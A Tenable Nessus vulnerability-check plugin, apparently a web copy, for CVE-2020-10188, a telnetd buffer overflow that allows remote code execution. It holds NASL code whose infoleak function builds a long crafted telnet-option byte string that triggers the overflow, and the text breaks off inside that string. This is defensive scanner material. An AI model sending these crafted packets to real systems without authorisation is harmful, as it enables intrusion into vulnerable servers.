Telnetd - Remote Code Execution (CVE-2020-10188)

2020-05-26T00:00:00
ID TELNETD_CVE-2020-10188_DIRECT.NASL
Type nessus
Reporter This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.
Modified 2020-05-26T00:00:00

Description

A buffer overflow condition exists in telnetd due to incorrect bounds checks in the services handling of short writes and urgent data. An unauthenticated, remote attacker can exploit this, via specially crafted telnet packets, to execute arbitrary code on the remote server.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(136890);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/07/10");

  script_cve_id("CVE-2020-10188");
  script_xref(name:"IAVA", value:"2020-A-0293");

  script_name(english:"Telnetd - Remote Code Execution (CVE-2020-10188)");

  script_set_attribute(attribute:"synopsis", value:
"The remote telnetd service is affected by a buffer overflow vulnerability that could lead to remote code execution.");
  script_set_attribute(attribute:"description", value:
"A buffer overflow condition exists in telnetd due to incorrect bounds checks in the services handling of short writes
and urgent data. An unauthenticated, remote attacker can exploit this, via specially crafted telnet packets, to execute
arbitrary code on the remote server.");
  # https://appgateresearch.blogspot.com/2020/02/bravestarr-fedora-31-netkit-telnetd_28.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0a5d3bf5");
  script_set_attribute(attribute:"solution", value:
"Refer to your vendor advisory regarding this issue.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-10188");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2020/03/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2020/03/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2020/05/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netkit_telnet_project:netkit_telnet");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("telnetserver_detect_type_nd_version.nasl");
  script_require_ports("Services/telnet", 23);

  exit(0);
}

include('debug.inc');

function tx_flush(soc) {
    while (!socket_pending(soc)) {
        usleep(200);
    }
  recv(socket:soc, length:0x1000);
}

function infoleak(soc) {
  local_var netobuf_fill, trigger, ret, s;
    # We use a delta that creates a SB/SE item
    netobuf_fill = '\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xfd\xfa\xff\xf5\xff\xf5\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xf